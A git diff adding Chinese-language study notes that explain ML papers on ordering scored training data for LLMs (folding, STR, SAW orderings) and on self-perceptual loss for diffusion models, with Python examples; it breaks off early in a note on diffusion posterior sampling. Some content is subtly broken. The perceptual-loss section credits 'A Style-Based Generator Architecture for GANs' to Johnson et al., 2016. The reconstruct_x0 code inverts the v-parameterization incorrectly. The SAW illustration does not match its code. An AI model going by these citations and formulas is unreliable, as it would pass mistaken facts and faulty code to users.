+    简化版 JIT (G4): 在滑动窗口内 shuffle，保留全局大致进度，提高局部 score 多样性。
+    论文中 window w 对 CL/FO/ZIG 分别调参（如 5000、50000）。
+    """
+    rng = rng or np.random.default_rng(1)
+    out = order.copy()
+    n = len(out)
+
+    for start in range(0, n, window):
+        end = min(start + window, n)
+        chunk = out[start:end].copy()
+        rng.shuffle(chunk)
+        out[start:end] = chunk
+    return out
+
+
+# --- 演示：100 条样本，低分起步 + 高分收尾 + JIT ---
+rng = np.random.default_rng(42)
+scores = rng.uniform(0, 1, size=100)
+seg_order = segment_order(scores, [(0.0, 0.1), (0.1, 0.9), (0.9, 1.0)], rng=rng)
+final_order = jit_local_shuffle(seg_order, window=10, rng=rng)
+
+# 检查「开头 / 结尾」平均分数是否符合 G1 意图
+print("head mean score:", scores[final_order[:10]].mean())
+print("tail mean score:", scores[final_order[-10:]].mean())
+print("global head->tail trend OK:", scores[final_order[:10]].mean() < scores[final_order[-10:]].mean())
+```
+
+**工程提示**：真实 STR/SAW 还要在 section 之间的 **过渡区** 插入 FO 或 ZIG（G2/G3），并对接分布式 dataloader 的 **deterministic shuffle seed**。论文强调：JIT 应作为 **最后一步** 加在 $f_o$ 输出上，避免破坏全局课程结构。
+
+---
+
+## 代码示例 3：把组织接到训练 loop（概念骨架）
+
+```python
+# 伪代码：同一分数向量驱动 selection + organization
+gamma = load_prewcomputed_scores(corpus)  # FineWeb-Edu / QuRated，离线算一次
+
+# 可选：筛选 top-R
+top_k = int(0.5 * len(gamma))
+selected_ids = np.argsort(-gamma)[:top_k]
+
+# 组织：SAW-2(JIT) — 生产环境应调用官方 data-efficacy 实现
+ordered_ids = saw_order(gamma[selected_ids], num_sections=2, transition="zigzag")
+ordered_ids = jit_local_shuffle(ordered_ids, window=5000)
+
+train_loader = build_loader(corpus, ordered_ids, shuffle=False)  # 顺序由 f_o 决定，不再 random shuffle
+
+for step, batch in enumerate(train_loader):
+    loss = model.training_step(batch)
+    loss.backward()
+    optimizer.step()
+```
+
+关键点：`shuffle=False` —— 顺序本身就是 **训练信号** 的一部分；若再 random shuffle，会破坏 G1–G3 精心构造的轨迹。
+
+---
+
+## 局限与依赖
+
+1. **分数质量决定上限**：组织策略完全依赖 $\bm{\gamma}$。分数噪声大、与任务无关时，排序可能有害。论文明确承认这是主要 limitation。
+2. **不是万能替代数据筛选**：组织 **不改变** $|\mathcal{D}|$；低质量 corpus 靠排序无法变魔法。
+3. **超参敏感**：FO 的层数 $L$、SEG 的百分位区间、JIT 的窗口 $w$、STR/SAW 的 section 数 $K$ 和过渡半径 $\rho$ 都需要验证（论文对 $L$ 做了 grid search，FO-20/FO-100 可能退化）。
+4. **分布式训练细节**：全局顺序 vs 多 worker 分片、resume checkpoint 时的顺序一致性，生产系统要额外工程化（论文 focus 在算法与单轨实验）。
+
+---
+
+## 谁应该关心这篇论文
+
+| 角色 | 可行动项 |
+|------|---------|
+| 预训练工程师 | 若已有 QuRating / FineWeb-Edu 分数 pipeline，**加一层 $f_o$** 几乎零成本 |
+| 数据平台 | 把 score 从「一次性 filter」升级为 **filter + rank API** |
+| 研究者 | 四条 guidance 提供了比「单调 CL」更细的 ablation 语言 |
+| 微调工程师 | SFT 阶段在 DeepMath / OpenCodeInstruct 上同样有效，不仅限于 pretrain |
+
+---
+
+## 一句话总结
+
+**Demystifying Data Organization for Enhanced LLM Training** 告诉我们：在大模型 **少 epoch、大数据** 的训练范式下，**同一批数据怎么排队** 与 **选哪批数据** 同样重要。复用已有的 sample-level score，按 **边界锐化、周期复习、平滑过渡、局部多样** 四条原则组织序列，STR/SAW 能在 **不增加训练 token、几乎不增加算力** 的前提下，稳定提升预训练与 SFT 的效果——就像同一套题库，换一张更科学的课表，期末均分就能上去。
+
+---
+
+## 延伸阅读
+
+- FineWeb-Edu / QuRating：分数从哪来
+- DELT (Dai et al., 2025a)：折叠复习的相关工作
+- Curriculum Learning (Bengio et al., 2009)：本文特例化的基线
+- 官方实现：[https://github.com/microsoft/data-efficacy/](https://github.com/microsoft/data-efficacy/)
diff --git a/src/content/docs/papers/demystifying-data-organization-for-enhanced-llm-training-arxiv-2605-30334.md b/src/content/docs/papers/demystifying-data-organization-for-enhanced-llm-training-arxiv-2605-30334.md
new file mode 100644
index 000000000..187ef7c32
--- /dev/null
+++ b/src/content/docs/papers/demystifying-data-organization-for-enhanced-llm-training-arxiv-2605-30334.md
@@ -0,0 +1,273 @@
+---
+title: Demystifying Data Organization for Enhanced LLM Training
+来源: https://arxiv.org/abs/2605.30334
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Demystifying Data Organization for Enhanced LLM Training
+
+## 一句话总结
+
+这篇论文研究了 LLM 训练时的一个简单但被忽视的问题：**数据已经评分了，但应该按什么顺序喂给模型？**
+
+## 从日常类比开始
+
+想象你要背单词。手头有一张 10000 个单词的清单，每个单词旁边都标了难度分数（1-5 分）。
+
+传统做法有两种：
+- **随机顺序**：闭眼翻到哪页背哪页
+- **从易到难排序**：先背 1 分的，再背 2 分的，最后背 5 分的
+
+这篇论文说：等等，还有别的排法，而且可能更好。他们提出了 4 个"排序原则"和 2 种具体的排序方法。
+
+## 核心概念：四个排序原则
+
+### 1. 边界锐化（Boundary Sharpening）
+
+**类比**：考试时先做简单题建立信心，最后做难题挑战极限。或者反过来——先做难题"唤醒"大脑，再做简单题巩固信心。
+
+**论文解释**：控制训练开始和结束时数据分数的分布。比如在训练开始时主要放高分数据（高质量），结束时放低分数据，或者反过来。
+
+**为什么重要**：训练初期的数据对模型的第一印象影响很大。边界锐化就是让你能"导演"这个印象。
+
+### 2. 周期调度（Cyclic Scheduling）
+
+**类比**：复习功课。学完新东西后，每隔几天回头复习一下旧的。不是只看最新的，而是循环往复。
+
+**论文解释**：在单次训练中，周期性地把不同分数段的数据穿插进来。不是"背完所有简单词再背难的"，而是"每背 10 个简单词，穿插 2 个难的"。
+
+**为什么重要**：纯从易到难的排序可能导致模型忘记早期学的内容（灾难性遗忘）。周期调度让模型不断回看不同难度。
+
+### 3. 课程连续性（Curriculum Continuity）
+
+**类比**：上体育课。你不能从散步直接跳到百米冲刺，需要逐渐加速。如果难度跳得太猛，模型会" shock"（优化器震荡）。
+
+**论文解释**：避免数据分数出现突然的大幅跳跃，让训练过程平稳过渡。
+
+**为什么重要**：优化器（模型学习时的"引擎"）喜欢循序渐进的信号。突然的难度跳跃会让它迷失方向。
+
+### 4. 局部多样性（Local Diversity）
+
+**类比**：看 Netflix 不会连续看 10 集同样的剧。每次推荐的内容应该有变化——不同的主题、不同的风格。
+
+**论文解释**：在局部窗口（比如一个小批次的数据）内，保持数据的异质性，不要全是高分或低分。
+
+**为什么重要**：多样性让模型学到更广泛的特征。一直吃"同一道菜"，营养不均衡。
+
+## 两种新方法：STR 和 SAW
+
+论文在四大原则基础上，提出了两种排序方法：
+
+| 方法 | 全称 | 核心思想 |
+|------|------|----------|
+| **STR** | Stair Ordering（阶梯排序） | 把数据分层，在每层的"过渡区"用折叠排序，其余部分用阶梯式递进 |
+| **SAW** | Saw Ordering（锯齿排序） | 和 STR 类似，但在过渡区用之字形排序，形成锯齿状的数据流 |
+
+**直观理解**：
+
+- STR 像上楼梯：一步一步往上走，但在每层之间有个小折返
+- SAW 像锯子的齿：锯齿状来回摆动，整体趋势是单向的
+
+两种方法都保留了"从易到难"的大趋势，同时在局部加入波动来增加多样性。
+
+## 代码示例
+
+### 示例 1：基本的数据排序流程
+
+假设你已经有一组带分数的数据（比如每个样本有个 `average_test_score` 字段），想对它排序：
+
+```python
+import json
+
+# 1. 加载带分数的数据
+# 假设每个样本格式：{"text": "Hello world", "average_test_score": 3.7}
+data = []
+with open("scored_data.jsonl", "r") as f:
+    for line in f:
+        data.append(json.loads(line))
+
+# 2. 按分数排序（最简单的 baseline）
+data_sorted = sorted(data, key=lambda x: x["average_test_score"])
+
+# 3. 写回 JSONL
+with open("ordered_data.jsonl", "w") as f:
+    for item in data_sorted:
+        f.write(json.dumps(item) + "\n")
+```
+
+这是论文中的 `sorting` 基线方法——单纯从低分到高分排序。
+
+### 示例 2：实现折叠排序（Folding Ordering）
+
+折叠排序是 STR 和 SAW 的基础。想象把数据排成一行，然后从中间"折叠"回来：
+
+```python
+import numpy as np
+
+def folding_order(data, num_layers=5):
+    """
+    折叠排序：
+    1. 先把数据按分数从低到高排序
+    2. 然后分成 num_layers 层
+    3. 奇数层正向，偶数层反向，依次连接
+    """
+    data_sorted = sorted(data, key=lambda x: x["average_test_score"])
+    n = len(data_sorted)
+    layer_size = n // num_layers
+
+    ordered = []
+    for i in range(num_layers):
+        start = i * layer_size
+        end = start + layer_size if i < num_layers - 1 else n
+
+        layer = data_sorted[start:end]
+        # 偶数层正向，奇数层反向（形成折叠效果）
+        if i % 2 == 0:
+            ordered.extend(layer)
+        else:
+            ordered.extend(reversed(layer))
+
+    return ordered
+
+# 使用
+ordered_data = folding_order(data, num_layers=5)
+```
+
+**折叠的效果**：模型先学低分数据（第 0 层正向），然后回看高分数据（第 1 层反向），再回到低分（第 2 层正向）... 形成周期调度。
+
+### 示例 3：实现锯齿排序（SAW）的简化版
+
+SAW 在折叠的基础上，在"过渡区域"加入锯齿波动：
+
+```python
+def saw_order(data, num_layers=5, transition_ratio=0.1):
+    """
+    锯齿排序（SAW）简化版：
+    1. 数据按分数排序
+    2. 分成 num_layers 层
+    3. 每层内部的"过渡区"用锯齿式排列，其余部分保持有序
+    """
+    data_sorted = sorted(data, key=lambda x: x["average_test_score"])
+    n = len(data_sorted)
+    layer_size = n // num_layers
+    transition_size = int(layer_size * transition_ratio)
+
+    ordered = []
+    for i in range(num_layers):
+        start = i * layer_size
+        end = start + layer_size if i < num_layers - 1 else n
+        layer = data_sorted[start:end]
+
+        if len(layer) <= 2 * transition_size:
+            # 数据太少，直接翻转
+            if i % 2 == 1:
+                ordered.extend(reversed(layer))
+            else:
+                ordered.extend(layer)
+            continue
+
+        # 头部（非过渡区）：按原顺序
+        ordered.extend(layer[:transition_size])
+
+        # 过渡区：用锯齿式排列
+        trans_start = transition_size
+        trans_end = len(layer) - transition_size
+        trans_region = layer[trans_start:trans_end]
+        trans_region_sorted = sorted(trans_region, key=lambda x: x["average_test_score"])
+
+        # 锯齿：从两端交替取元素
+        left, right = 0, len(trans_region_sorted) - 1
+        zigzag = []
+        toggle = True
+        while left <= right:
+            if toggle:
+                zigzag.append(trans_region_sorted[left])
+                left += 1
+            else:
+                zigzag.append(trans_region_sorted[right])
+                right -= 1
+            toggle = not toggle
+        ordered.extend(zigzag)
+
+        # 尾部（非过渡区）：按原顺序
+        ordered.extend(layer[trans_end:])
+
+    return ordered
+
+# 使用
+saw_data = saw_order(data, num_layers=5, transition_ratio=0.1)
+```
+
+**锯齿的效果**：整体仍从低分到高分，但在每层的过渡区加入锯齿波动。既有课程连续性（不会太跳），又有局部多样性（不是单调递增）。
+
+## 完整流程图
+
+```
+原始数据（带分数）
+       │
+       ▼
+┌─────────────┐
+│ 数据评分     │  ← 这一步论文假设已完成（复用已有分数）
+│ (Data Scoring)│
+└──────┬──────┘
+       │
+       ▼
+┌─────────────┐
+│ 数据筛选     │  ← 从大数据中选出一子集（可选）
+│ (Selection)  │
+└──────┬──────┘
+       │
+       ▼
+┌─────────────┐
+│ 数据排序     │  ← 这篇论文的重点！
+│ (Ordering)   │  应用 STR / SAW / 折叠 / 之字形等
+└──────┬──────┘
+       │
+       ▼
+┌─────────────┐
+│ 模型训练     │
+│ (Training)   │
+└──────┬──────┘
+       │
+       ▼
+     更好的模型
+```
+
+## 实验发现
+
+论文在多个模型规模和数据集上做了实验，主要发现：
+
+1. **STR 和 SAW 在所有规模上都优于随机排序** — 不是只在大数据集上有用
+2. **预训练和 SFT（监督微调）两个阶段都有效** — 排序的重要性贯穿整个训练流程
+3. **SAW 通常略优于 STR** — 锯齿的波动比阶梯的过渡能带来更多多样性
+4. **四个原则相互之间不冲突** — 可以同时应用，没有明显的 trade-off
+
+## 关键对比：不同排序方法的直观效果
+
+假设有 30 条数据，分数从 1 到 10：
+
+```
+随机排序：  [3, 8, 1, 9, 2, 7, 5, 10, 4, 6, ...]  ← 完全无规律
+排序基线：  [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]   ← 单调递增，缺少多样性
+折叠排序：  [1,2,3, 9,8,7, 4,5,6, 10, ...]           ← 折叠回看
+SAW：      [1,2,3, 3,4,5, 5,4,6, 6,7,8, 8,7,9, ...] ← 锯齿波动 + 大趋势递增
+```
+
+SAW 看起来最"乱"，但仔细看它的整体趋势仍然是递增的——这就是论文的精髓：**大局有序，局部有变**。
+
+## 学习要点总结
+
+- 数据质量重要，**数据顺序同样重要** — 这是论文的核心论点
+- 四个原则（边界锐化、周期调度、课程连续性、局部多样性）是通用的排序指导方针
+- STR 和 SAW 是具体可执行的排序算法，不是纯理论
+- 即使已有数据的评分，只需要改变顺序就能获得性能提升，成本极低
+- 排序方法在预训练和微调阶段都适用
+
+## 延伸阅读
+
+- 论文代码仓库：https://github.com/microsoft/data-efficacy/
+- 前置工作（DELT）：https://arxiv.org/abs/2506.21545
+- 课程学习（Curriculum Learning）经典论文：https://arxiv.org/abs/0906.0530
diff --git a/src/content/docs/papers/diffusion-perceptual-loss.md b/src/content/docs/papers/diffusion-perceptual-loss.md
new file mode 100644
index 000000000..c6ded9cbe
--- /dev/null
+++ b/src/content/docs/papers/diffusion-perceptual-loss.md
@@ -0,0 +1,412 @@
+---
+title: Diffusion Model with Perceptual Loss
+来源: https://arxiv.org/abs/2401.00110
+日期: 2026-06-13
+分类: 机器学习
+子分类: 扩散模型
+provenance: pipeline-v3
+---
+
+# Diffusion Model with Perceptual Loss — 零基础学习笔记
+
+> **论文**: Diffusion Model with Perceptual Loss (Lin & Yang, ByteDance, 2024)
+> **arXiv**: 2401.00110
+
+---
+
+## 一、一句话讲清楚这篇论文在说什么
+
+这篇论文回答了一个问题：**为什么不用 guidance 的扩散模型画出来的图那么糊？**
+
+作者说：不是模型不行，是**训练时用的"评分标准"（loss function）有问题**。他们把传统的方法从"逐个像素比较"换成了"让模型自己当裁判"，结果不用 guidance 也能画出清晰的图。
+
+---
+
+## 二、日常类比：厨师做菜
+
+想象你教一个学徒做蛋糕，有两个不同的方法：
+
+**方法 A（MSE 损失）：用尺子量每一颗糖的位置。** 你拿一把尺子，量每一颗糖距离标准配方差了多少像素。学徒学会了精确摆放糖的位置，但做出来的蛋糕虽然"像素级"对齐了，整体口感却很差。因为糖的位置差了一点点，不代表蛋糕就不好吃。
+
+**方法 B（Perceptual Loss）：让一个美食家品尝。** 你找一个品过一万道甜点的老师傅，尝完学徒的蛋糕后说"还行"或"不太对"。老师傅不在乎糖差了几毫米，他在乎的是蛋糕整体好不好吃。
+
+这篇论文说：扩散模型训练用的 MSE 就像方法 A — 它强迫模型在**像素级别**上精确匹配，结果模型学会了把不同的脸"糊在一起"，造出有四只眼睛的怪物。而 Perceptual Loss 就像方法 B，关注的是**语义级别**好不好。
+
+---
+
+## 三、核心概念
+
+### 3.1 扩散模型在学什么？
+
+扩散模型（Diffusion Model）的训练目标是：**学习从纯噪声变回真实数据的还原过程**。
+
+训练时，模型接收一张被加了噪声的图片，尝试预测"原本的干净图片是什么样子"。预测完之后，需要跟正确答案对比，算出一个"错误分数"，这个分数就是 loss。
+
+### 3.2 MSE 损失的问题（核心痛点）
+
+扩散模型几乎全部使用 **MSE（均方误差）损失**：
+
+$$\mathcal{L}_{mse} = \| \hat{v}_t - v_t \|_2^2$$
+
+翻译成人话：对图片里每一个像素点，计算预测值和真实值的差的平方，然后全部加起来。
+
+**问题出在哪？**
+
+假设你训练一个生成人脸的扩散模型，训练数据里有两个人脸：
+
+- 人脸 A：左边有颗痣
+- 人脸 B：右边有颗痣
+
+MSE 要求模型在像素级别上精确还原。于是模型学会了一个取巧的办法：**生成一张左半边脸 A + 右半边脸 B 的"拼接脸"**。在像素距离上，这张拼接脸确实离两张训练样本都不远，所以 MSE 觉得"挺好的"。
+
+但人眼一看就知道：这是个有四只眼睛的怪物。
+
+论文原话：
+
+> MSE leads the model to learn a distribution of pixel-wise blending instead of semantic morphing.
+
+MSE 让模型学会了"像素级混合"，而不是"语义级融合"。
+
+### 3.3 Perceptual Loss 的思路
+
+Perceptual Loss 的核心思想来自一篇叫 "A Style-Based Generator Architecture for GANs" 的论文（Johnson et al., 2016）。它的方法是：
+
+1. 找一个已经训练好的神经网络（比如 VGG）
+2. 不看图片本身，而是看图片经过这个网络中间层后的"特征表示"
+3. 比较两张图片的特征表示之间的距离
+
+**类比**：MSE 像是在比较两个人的身份证照片差了多少像素。Perceptual Loss 像是让一个认人专家来判断"这两个人像不像"。专家不在乎像素差多少，他看的是脸的特征。
+
+### 3.4 Self-Perceptual Loss（本文的独创）
+
+传统的 Perceptual Loss 需要一个外部的预训练网络（比如 VGG）。这篇论文做了一个巧妙的简化：**直接用扩散模型自己当裁判**。
+
+流程如下：
+
+```
+原始图片 x0 → 加噪声 → xt
+                ↓
+       模型预测 v^t → 还原出 x^0
+                ↓
+       从 x^0 出发再走一步 → x^t'（预测路径）
+       从 x0 出发走另一条路 → xt'（真实路径）
+                ↓
+       把 x^t' 和 xt' 同时塞进"冻结的模型"
+       比较它们中间层的特征距离 = 感知损失
+```
+
+关键点：
+
+- 冻结（freeze）训练好的 MSE 模型，不改变它的参数
+- 把冻结的模型当作品味家（perceptual network）
+- 比较预测路径和真实路径在中间层的差异
+- 用这个差异来指导训练
+
+论文中公式：
+
+$$\mathcal{L}_{sp} = \| p^l_*(\hat{x}_{t'}, t', c) - p^l_*(x_{t'}, t', c) \|_2^2$$
+
+不用被公式吓到。拆解来看：
+
+- `p^l_*`：冻结的模型的第 l 层（只取中间层的特征，不看输出）
+- `\hat{x}_{t'}`：模型自己预测出来的路径
+- `x_{t'}`：从真实数据出发走过的路径
+- 两者的特征距离就是新的损失
+
+### 3.5 为什么 guidance 有效？
+
+一个有趣的发现：这篇论文从 Perceptual Loss 的角度重新解释了 CFG（Classifier-Free Guidance）为什么有效。
+
+传统解释：CFG 降低了采样温度，提高了质量。
+
+本文解释：CFG 本质上也是在提供**感知监督**。CFG 同时查询条件版本和无条件版本的模型，放大它们的差异。这个差异的方向，恰好跟"语义上更像真实数据"的方向一致。换句话说，CFG 的效果类似于在采样阶段加了一个临时的 Perceptual Loss。
+
+---
+
+## 四、代码示例
+
+### 示例 1：传统 MSE 损失 vs Self-Perceptual 损失 的对比
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+# 假设我们有一个预训练的扩散模型（比如 Stable Diffusion）
+# 它已经被 MSE 损失训练好了
+
+diffusion_model = load_diffusion_model()  # 加载已训练的模型
+
+# ========== 方法 A：传统 MSE 损失 ==========
+def mse_loss(pred_noise, true_noise):
+    """
+    传统 MSE 损失：直接比较预测的噪声和真实的噪声
+    逐像素比较，不管语义
+    """
+    return F.mse_loss(pred_noise, true_noise)
+
+
+# ========== 方法 B：Self-Perceptual 损失 ==========
+def self_perceptual_loss(frozen_model, x_pred, x_true, t, condition):
+    """
+    Self-Perceptual 损失：
+    - frozen_model: 冻结的扩散模型，用作"品味家"
+    - x_pred: 模型预测的路径（从预测结果还原后再走一步）
+    - x_true: 真实数据路径（从真实数据走相同时间步）
+    - t: 时间步
+    - condition: 条件（比如文本 prompt）
+
+    只取 midblock 层的特征来计算距离
+    """
+    # 冻结模型的特征提取
+    frozen_model.eval()
+    with torch.no_grad():
+        # 获取冻结模型在 midblock 层的特征
+        pred_features = frozen_model.get_midblock_features(x_pred, t, condition)
+        true_features = frozen_model.get_midblock_features(x_true, t, condition)
+
+    # 比较特征距离
+    return F.mse_loss(pred_features, true_features)
+
+
+# ========== 训练循环对比 ==========
+
+def train_with_mse(model, batch, optimizer):
+    """传统 MSE 训练"""
+    x0, text = batch  # 真实图片、文本描述
+    t = torch.randint(0, 1000, (x0.shape[0],))  # 随机时间步
+    noise = torch.randn_like(x0)
+
+    # 加噪声
+    xt = add_noise(x0, noise, t)
+
+    # 模型预测噪声
+    predicted_noise = model(xt, t, text)
+
+    # 计算 MSE 损失
+    loss = mse_loss(predicted_noise, noise)
+
+    # 反向传播
+    optimizer.zero_grad()
+    loss.backward()
+    optimizer.step()
+    return loss
+
+
+def train_with_self_perceptual(model, batch, frozen_model, optimizer):
+    """Self-Perceptual 训练"""
+    x0, text = batch
+    t = torch.randint(0, 1000, (x0.shape[0],))
+    noise = torch.randn_like(x0)
+
+    # 加噪声
+    xt = add_noise(x0, noise, t)
+
+    # 第一步：模型预测噪声
+    predicted_noise = model(xt, t, text)
+
+    # 第二步：从预测结果还原干净图片
+    x0_pred = reconstruct_clean_image(xt, predicted_noise, t)
+
+    # 第三步：再随机选一个时间步 t_prime
+    t_prime = torch.randint(0, 1000, (x0.shape[0],))
+
+    # 第四步：预测路径和真实路径
+    x_pred_t_prime = add_noise(x0_pred, noise, t_prime)
+    x_true_t_prime = add_noise(x0, noise, t_prime)
+
+    # 第五步：用冻结模型计算感知损失
+    loss = self_perceptual_loss(
+        frozen_model, x_pred_t_prime, x_true_t_prime, t_prime, text
+    )
+
+    # 反向传播
+    optimizer.zero_grad()
+    loss.backward()
+    optimizer.step()
+    return loss
+```
+
+### 示例 2：完整的训练流程（简化版）
+
+```python
+import torch
+import torch.nn as nn
+from torch.utils.data import DataLoader
+
+# 配置
+BATCH_SIZE = 896
+LEARNING_RATE = 3e-5
+EMA_DECAY = 0.9995
+NUM_ITERATIONS = 50000
+DEVICE = "cuda" if torch.cuda.is_available() else "cpu"
+
+
+class SelfPerceptualTrainer:
+    """
+    Self-Perceptual Loss 训练器
+    两阶段训练：
+      阶段1：用 MSE 训练扩散模型
+      阶段2：冻结模型，用它当感知网络，继续训练
+    """
+
+    def __init__(self, model, perceptual_model, optimizer):
+        self.model = model.to(DEVICE)
+        self.perceptual_model = perceptual_model.to(DEVICE)  # 冻结的
+        self.perceptual_model.eval()  # 设为评估模式
+        for param in self.perceptual_model.parameters():
+            param.requires_grad = False  # 冻结参数
+        self.optimizer = optimizer
+
+    def forward_diffusion(self, x0, noise, t):
+        """前向加噪声过程"""
+        # alpha_bar 是预定义的噪声调度
+        alpha_bar = get_alpha_bar(t)
+        sqrt_alpha = torch.sqrt(alpha_bar)
+        sqrt_one_minus_alpha = torch.sqrt(1 - alpha_bar)
+
+        # xt = sqrt(alpha_bar) * x0 + sqrt(1 - alpha_bar) * noise
+        return sqrt_alpha[:, None, None, None] * x0 + \
+               sqrt_one_minus_alpha[:, None, None, None] * noise
+
+    def reconstruct_x0(self, xt, predicted_v, t):
+        """
+        从预测的 v 值反推干净图片 x0
+        v = sqrt(alpha_bar) * noise - sqrt(1 - alpha_bar) * x0
+        反解出 x0
+        """
+        alpha_bar = get_alpha_bar(t)
+        sqrt_alpha = torch.sqrt(alpha_bar)
+        sqrt_one_minus_alpha = torch.sqrt(1 - alpha_bar)
+
+        # 从 v 反推 x0
+        return (sqrt_alpha[:, None, None, None] * xt - predicted_v) / \
+               sqrt_one_minus_alpha[:, None, None, None]
+
+    def compute_self_perceptual_loss(self, x0, xt, t, condition):
+        """
+        计算 Self-Perceptual 损失
+        """
+        noise = torch.randn_like(x0)
+
+        # Step 1: 模型预测
+        predicted_v = self.model(xt, t, condition)
+
+        # Step 2: 从预测反推干净图片
+        x0_pred = self.reconstruct_x0(xt, predicted_v, t)
+
+        # Step 3: 再选一个新的时间步
+        t_prime = torch.randint(0, 1000, (x0.shape[0],))
+
+        # Step 4: 从两个方向走到 t_prime
+        x_true_t_prime = self.forward_diffusion(x0, noise, t_prime)
+        x_pred_t_prime = self.forward_diffusion(x0_pred, noise, t_prime)
+
+        # Step 5: 冻结模型提取 midblock 特征
+        with torch.no_grad():
+            pred_feat = self.perceptual_model.get_midblock_features(
+                x_pred_t_prime, t_prime, condition
+            )
+            true_feat = self.perceptual_model.get_midblock_features(
+                x_true_t_prime, t_prime, condition
+            )
+
+        # Step 6: 特征距离
+        loss = F.mse_loss(pred_feat, true_feat)
+        return loss
+
+    def train_step(self, x0, condition):
+        """单个训练步骤"""
+        t = torch.randint(0, 1000, (x0.shape[0],))
+        noise = torch.randn_like(x0)
+        xt = self.forward_diffusion(x0, noise, t)
+
+        # 计算 Self-Perceptual 损失
+        loss = self.compute_self_perceptual_loss(x0, xt, t, condition)
+
+        # 反向传播
+        self.optimizer.zero_grad()
+        loss.backward()
+
+        # 梯度裁剪，防止爆炸
+        torch.nn.utils.clip_grad_norm_(self.model.parameters(), max_norm=1.0)
+
+        self.optimizer.step()
+        return loss.item()
+
+    def train_epoch(self, dataloader):
+        """训练一个 epoch"""
+        self.model.train()
+        total_loss = 0
+
+        for x0, condition in dataloader:
+            x0 = x0.to(DEVICE)
+            loss = self.train_step(x0, condition)
+            total_loss += loss
+
+        avg_loss = total_loss / len(dataloader)
+        return avg_loss
+
+
+# 使用示例
+def main():
+    # 第一阶段：MSE 训练（假设已完成）
+    mse_model = build_diffusion_model()
+    mse_optimizer = torch.optim.Adam(mse_model.parameters(), lr=1e-4)
+    # ... 训练 mse_model ...
+
+    # 第二阶段：复制并冻结 MSE 模型作为感知网络
+    perceptual_model = build_diffusion_model()
+    perceptual_model.load_state_dict(mse_model.state_dict())
+
+    # 用 SP 损失微调原始模型
+    sp_model = build_diffusion_model()
+    sp_model.load_state_dict(mse_model.state_dict())
+    sp_optimizer = torch.optim.Adam(sp_model.parameters(), lr=LEARNING_RATE)
+
+    trainer = SelfPerceptualTrainer(sp_model, perceptual_model, sp_optimizer)
+
+    # 开始 SP 训练
+    for epoch in range(NUM_ITERATIONS // len(train_dataloader)):
+        avg_loss = trainer.train_epoch(train_dataloader)
+        print(f"Epoch {epoch}, SP Loss: {avg_loss:.4f}")
+```
+
+---
+
+## 五、关键实验结果
+
+| 方法 | CFG | FID（越低越好） | IS（越高越好） |
+|------|-----|----------------|----------------|
+| MSE Loss | 否 | 29.63 | 22.86 |
+| **SP Loss** | **否** | **24.42** | **28.07** |
+| MSE + CFG | 是 | 18.67 | 34.17 |
+
+SP Loss 在**不需要 guidance 的情况下**，FID 从 29.63 降到 24.42，IS 从 22.86 升到 28.07，显著改善。
+
+---
+
+## 六、重要发现总结
+
+1. **MSE loss 假设了像素独立性**，但图像像素之间高度相关，这个假设在现实中不成立
+2. **Perceptual Loss 关注语义级别**，能避免模型产生"四只眼睛"这种像素级正确但语义级错误的样本
+3. **CFG 有效的真正原因**可能是它提供了感知监督，而不只是降低采样温度
+4. **只用 midblock 层的特征效果最好**，其他层反而不好 — 说明中间层捕捉到的语义信息最合适
+5. **从模型自己提取感知信号是可行的**，不需要引入外部网络，方便微调已有模型
+6. **t' 均匀采样效果最好**，不需要复杂的采样策略
+
+---
+
+## 七、这篇论文的局限
+
+- 目前还没有超过 CFG + Rescale 的效果
+- SP 主要改善的是"不用 guidance 时的质量"，而不是完全取代 guidance
+- 作者说未来可以探索结合 SP 和 CFG 的方法
+
+---
+
+## 八、我的理解
+
+传统思路一直在改扩散模型的结构（卷积→Transformer）、采样算法（更多 solver）、训练技巧，但很少有人质疑**训练目标本身可能就不合适**。这篇论文的贡献在于：它回到了最根本的问题 — "我们到底在优化什么？" — 然后说"我们一直在用尺子量蛋糕，但也许应该让品味家来尝"。
+
+MSE 不是"错的"，它在数学推导上很优雅，但它追求的是"像素级的准确"，而图像生成需要的是"语义级的合理"。这是一个根本性的不匹配。Perceptual Loss 补上了这个缺口。
diff --git a/src/content/docs/papers/diffusion-posterior-finite.md b/src/content/docs/papers/diffusion-posterior-finite.md
new file mode 100644
index 000000000..fdcbfe09a
--- /dev/null
+++ b/src/content/docs/papers/diffusion-posterior-finite.md
@@ -0,0 +1,262 @@
+---
+title: 扩散后验采样何时失败？——有限样本透镜（Finite-Sample Lens）
+来源: https://arxiv.org/abs/2605.30330
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：侦探拼图 vs 蒙眼猜形状
+
+想象你是侦探，手里有一张**模糊的监控截图**（测量值 \(y\)），要在**嫌疑人名单**里找出最像真凶的人（后验 \(p(x \mid y)\)）。
+
+名单上每个人长相、身高、习惯都不同——这就是**先验** \(p_{\text{pr}}(x)\)，往往很复杂、多峰（有人像猫、有人像狗、有人像鸟）。
+
+**扩散后验采样（Diffusion Posterior Sampling, DPS）** 的做法像：
+
+1. 先把所有嫌疑人照片**故意弄糊**（加噪到中间时刻 \(x_t\)）；
+2. 每一步根据「模糊照片 + 监控截图」微调，让轨迹逐渐变清晰；
+3. 最后得到一张「既像名单里某人、又符合监控」的清晰照片。
+
+问题在于：中间每一步，算法**不能精确算**「给定当前模糊图，真凶可能是谁、概率多大」——只能**近似**（常见做法：把可能性压成**一个点**，忽略 spread）。论文问的就是：
+
+> **这种近似什么时候会把侦探带偏？为什么？怎么诊断？**
+
+作者给出的答案不是再发明一个新 sampler，而是换一副**有限样本透镜（Finite-Sample Lens, FSR）**：把连续先验换成 \(N\) 张真实训练样本组成的离散分布，于是**中间任意时刻 \(t>0\) 的后验可以解析算出来**，当作「标准答案」去对比 DPS、ΠGDM、TMPD 等流行方法哪里错了。
+
+---
+
+## 是什么
+
+**When, Why, and How Do Diffusion Posterior Samplers Fail? A Finite-Sample Lens**（Burns & Fridovich-Keil，arXiv:[2605.30330](https://arxiv.org/abs/2605.30330)，2026）研究**成像逆问题**里用预训练扩散模型做**零样本后验采样**时的失败模式。
+
+| 项目 | 内容 |
+|------|------|
+| 问题 | 现有方法在**中间时间步**对似然 \(p(y \mid x_t)\) 做近似以求可算；近似误差如何传导到最终后验，缺乏系统理解 |
